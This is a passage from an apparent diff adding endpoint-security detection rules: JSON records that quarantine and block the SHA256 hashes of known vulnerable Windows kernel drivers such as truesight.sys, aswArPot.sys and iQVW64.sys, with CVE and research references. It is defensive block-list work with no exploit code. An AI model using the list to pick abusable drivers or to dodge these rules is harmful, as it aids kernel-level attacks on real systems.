+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ca8956df2fde0e7ab8fe9f0cc4e03a69b0ff18b39b1618e64ba989a4a14a14e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9676115c-425c-50d9-8d7b-f2a6834d1d86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477225Z",
+  "creation_date": "2026-03-23T11:45:31.477228Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477237Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3515a69fdcd951f4aed637a3c3356378b56e32d79b7b597d7ae9cc1c153b3b7b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96795c8f-168d-5c6b-9ebe-59681a2b58c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808075Z",
+  "creation_date": "2026-03-23T11:45:31.808078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67891a95788e438cd8c1ad5cc8027092e57c081847d019ce33e0b304b9c6a5a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96814314-afe0-504c-b038-7dbf0a8c48e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820530Z",
+  "creation_date": "2026-03-23T11:45:30.820532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31add0358eb679d7c10ac1622403a85891bf764154280a589e71ccd297fc7a16",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96835009-f048-5bf0-996a-7ec39ff0c995",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157084Z",
+  "creation_date": "2026-03-23T11:45:31.157086Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157091Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb492ba828682133959cac42660c30166e7e255d0e78bbd2a150457fc7688c3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "969aa62d-de2e-5596-a0f8-8a9f52b95028",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478375Z",
+  "creation_date": "2026-03-23T11:45:30.478378Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478426Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d44848d3e845f8293974e8b621b72a61ec00c8d3cf95fcf41698bbbd4bdf5565",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96b8e774-0125-5361-ade5-34375317bd0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459624Z",
+  "creation_date": "2026-03-23T11:45:30.459627Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44a0599defea351314663582dbc61069b3a095a4ddad571bb17dd0d8b21e7ff2",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96bd207b-2388-5da8-bb30-67722ca910c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969292Z",
+  "creation_date": "2026-03-23T11:45:29.969294Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969299Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be8dd2d39a527649e34dc77ef8bc07193a4234b38597b8f51e519dadc5479ec2",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96cb1210-1437-5c22-a744-136a6c727149",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612832Z",
+  "creation_date": "2026-03-23T11:45:29.612834Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612840Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55963284bbd5a3297f39f12f0d8a01ed99fe59d008561e3537bcd4db4b4268fa",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96d9105c-054d-5b4c-9566-77bf1d36e7a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150444Z",
+  "creation_date": "2026-03-23T11:45:31.150446Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150451Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77e42a3df51e106a8f7bc905e9b56b2d7a51fc72777a835d5c0e066be3c37279",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96d95ca0-26c8-5ddc-9a24-5fe0a96fb5f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477921Z",
+  "creation_date": "2026-03-23T11:45:30.477924Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4fc8f04721363f4b570accf700f507fb0b0381a81d3a8ffb768ded65978ac50",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96f1f46e-adfb-50a0-a6c6-96d811019e58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608189Z",
+  "creation_date": "2026-03-23T11:45:29.608191Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4127dace7354514f4698d94ba29affc9815c6d35b258883028c523fdba675218",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96f63ecc-b58c-5684-b828-acd7bc0975ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813245Z",
+  "creation_date": "2026-03-23T11:45:31.813248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2749ad65ee9272ed72c9569371b056a2c16d89a63cee3c45bdb447e5e8fdbbf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96fb724b-9673-53d6-9c08-12b8fb41595a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156808Z",
+  "creation_date": "2026-03-23T11:45:31.156810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156816Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f011a0917120872193694c73f03788e500b6fc80faea219d876366eb80777fbd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96fd1301-30e0-560a-ae4f-6ed92f391c68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616221Z",
+  "creation_date": "2026-03-23T11:45:29.616223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19a212e6fc324f4cb9ee5eba60f5c1fc0191799a4432265cbeaa3307c76a7fc0",
+  "comment": "Huawei vulnerable BIOS update tool (aka Phymemx64.sys) [https://www.loldrivers.io/drivers/268e87ba-ad44-4f3c-986f-26712cac68da/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97030c91-da74-5db6-82f6-9315a1d5dacd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816039Z",
+  "creation_date": "2026-03-23T11:45:31.816042Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7942bc1c3c3699fc8ca271f42396f9f3115419fd2000bb2271e5c97baf9f0df2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9707d6ff-dc80-5fc4-9c74-80dbac1a6a28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809701Z",
+  "creation_date": "2026-03-23T11:45:31.809705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809713Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "689ed52d962fb6e8467ae8acb861e54b67af81a43a09332f84487b7c5a7295ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "970dd668-8f04-5344-9ff9-d252646fe0d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477132Z",
+  "creation_date": "2026-03-23T11:45:31.477136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c50bcdc8b656a8e4eb027cc9bdecde9839b1d264e28d396bd9444ff1fc1fa36",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97124aee-e046-5366-b6db-4583bd8351e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971951Z",
+  "creation_date": "2026-03-23T11:45:29.971953Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dec391d24c986f2d0af0fb680705e4d22ff6f1d8aeb2656c9e7159dd873d22fb",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9712c8aa-d212-596c-8fd9-e08ea37f5cb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833261Z",
+  "creation_date": "2026-03-23T11:45:30.833265Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eabb8103cdc97c7cdfaf60424922d10f0c8ed93aa2445d744c7bbf818bf42abd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9718d72e-b3f6-5725-9047-ecb60d7db4ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821102Z",
+  "creation_date": "2026-03-23T11:45:31.821106Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a5e58c8d462a64fd87ba105e322ffe187ee3f579b9a4f2d3979a0591e26c7289",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9719fff2-1fb3-5a27-89d3-390ab652d22f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145053Z",
+  "creation_date": "2026-03-23T11:45:31.145055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d81c5fd006b5426dfac0775df41310d4baa7e5658b5dd98c211bb262f162bc0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "971b627c-1aba-5d37-8b5b-971d50ea6320",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490609Z",
+  "creation_date": "2026-03-23T11:45:31.490611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490616Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b234b96dc4c064eb7cb9a2c742b271519d61eb957c32d2fc8772238f826286eb",
